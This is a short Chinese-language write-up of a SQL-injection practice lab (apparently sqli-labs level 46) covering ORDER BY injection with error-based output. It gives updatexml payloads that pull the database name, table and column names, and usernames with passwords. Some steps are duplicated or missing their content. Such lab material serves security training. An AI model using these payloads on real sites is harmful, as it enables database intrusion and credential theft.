简介:(order by注入-错误回显-POST注入)
请求方法:POST
方法:order by注入+错误回显+数字型注入
先了解下 order by参数注入:
order by 注入是指其后面的参数是可控的,
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。
判断库名:
?sort=-1 and updatexml(1,concat(0x7e,database(),0x7e),1)判断表名:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)判断字段名:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)查询数据:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)
1.第四十六关可以看到提示: Please input parameter as SORT with numeric value
用数字形式输入sort排序参数
 2.尝试加上' 看看是否存在报错注入。
2.尝试加上' 看看是否存在报错注入。
 
数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1显示的结果一样,所以无法用来判断注入点类型
而用rand()会显示不同的排序结果
当在字符型中用?sort=rand(),则不会有效果,排序不会改变
因此用rand()可判断注入点类型



3.判断字段数发现到第四个回显时报错,说明只有三个字段,当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。
 4.库名、表名、字段、数据:
 4.库名、表名、字段、数据:
 



